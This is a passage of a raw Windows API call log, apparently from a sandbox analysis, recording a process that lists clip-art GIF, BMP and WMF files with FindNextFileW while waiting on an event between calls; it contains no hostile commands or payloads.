lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1 [0184.207] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1 [0184.207] ResetEvent (hEvent=0x174) returned 1 [0184.207] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.379] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0184.379] ResetEvent (hEvent=0x174) returned 1 [0184.379] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.579] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0184.579] ResetEvent (hEvent=0x174) returned 1 [0184.579] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.774] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0184.774] ResetEvent (hEvent=0x174) returned 1 [0184.775] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.793] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1 [0184.793] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0184.794] ResetEvent (hEvent=0x174) returned 1 [0184.794] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.818] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0184.818] ResetEvent (hEvent=0x174) returned 1 [0184.819] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.857] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0184.857] ResetEvent (hEvent=0x174) returned 1 [0184.857] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.882] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0184.883] ResetEvent (hEvent=0x174) returned 1 [0184.883] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.922] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0184.923] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0184.923] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd20ae00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd20ae00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x133f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101856.BMP", cAlternateFileName="")) returned 1 [0184.923] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf830800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf830800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101857.BMP", cAlternateFileName="")) returned 1 [0184.923] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6aa1600, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6aa1600, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101858.BMP", cAlternateFileName="")) returned 1 [0184.923] ResetEvent (hEvent=0x174) returned 1 [0184.923] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0184.934] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac703800, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac703800, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101859.BMP", cAlternateFileName="")) returned 1 [0184.934] ResetEvent (hEvent=0x174) returned 1 [0184.934] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0185.183] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaed29200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaed29200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101860.BMP", cAlternateFileName="")) returned 1 [0185.183] ResetEvent (hEvent=0x174) returned 1 [0185.183] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0185.211] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2661900, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2661900, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101861.BMP", cAlternateFileName="")) returned 1 [0185.211] ResetEvent (hEvent=0x174) returned 1 [0185.211] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0185.216] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5f9a000, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5f9a000, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101862.BMP", cAlternateFileName="")) returned 1 [0185.217] ResetEvent (hEvent=0x174) returned 1 [0185.217] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0186.006] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e56200, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1e56200, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101863.BMP", cAlternateFileName="")) returned 1 [0186.006] ResetEvent (hEvent=0x174) returned 1 [0186.006] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0187.023] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0187.023] ResetEvent (hEvent=0x174) returned 1 [0187.023] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0187.131] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0187.131] ResetEvent (hEvent=0x174) returned 1 [0187.131] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0187.161] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0187.162] ResetEvent (hEvent=0x174) returned 1 [0187.162] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0187.782] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0187.782] ResetEvent (hEvent=0x174) returned 1 [0187.782] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.049] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0188.163] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0188.163] ResetEvent (hEvent=0x174) returned 1 [0188.163] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.671] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0188.671] ResetEvent (hEvent=0x174) returned 1 [0188.671] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.697] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0188.697] ResetEvent (hEvent=0x174) returned 1 [0188.697] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.723] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4290, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0102984.WMF", cAlternateFileName="")) returned 1 [0188.723] ResetEvent (hEvent=0x174) returned 1 [0188.723] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.747] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x43c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103058.WMF", cAlternateFileName="")) returned 1 [0188.748] ResetEvent (hEvent=0x174) returned 1 [0188.748] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.782] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3264, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103262.WMF", cAlternateFileName="")) returned 1 [0188.782] ResetEvent (hEvent=0x174) returned 1 [0188.782] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.807] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103402.WMF", cAlternateFileName="")) returned 1 [0188.808] ResetEvent (hEvent=0x174) returned 1 [0188.808] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.828] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103812.WMF", cAlternateFileName="")) returned 1 [0188.829] ResetEvent (hEvent=0x174) returned 1 [0188.829] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.843] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0103850.WMF", cAlternateFileName="")) returned 1 [0188.843] ResetEvent (hEvent=0x174) returned 1 [0188.843] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.863] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105230.WMF", cAlternateFileName="")) returned 1 [0188.863] ResetEvent (hEvent=0x174) returned 1 [0188.864] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.892] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105232.WMF", cAlternateFileName="")) returned 1 [0188.892] ResetEvent (hEvent=0x174) returned 1 [0188.892] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.916] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105234.WMF", cAlternateFileName="")) returned 1 [0188.917] ResetEvent (hEvent=0x174) returned 1 [0188.917] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.940] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4314, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105238.WMF", cAlternateFileName="")) returned 1 [0188.941] ResetEvent (hEvent=0x174) returned 1 [0188.941] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0188.968] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105240.WMF", cAlternateFileName="")) returned 1 [0188.969] ResetEvent (hEvent=0x174) returned 1 [0188.969] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0189.010] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105244.WMF", cAlternateFileName="")) returned 1 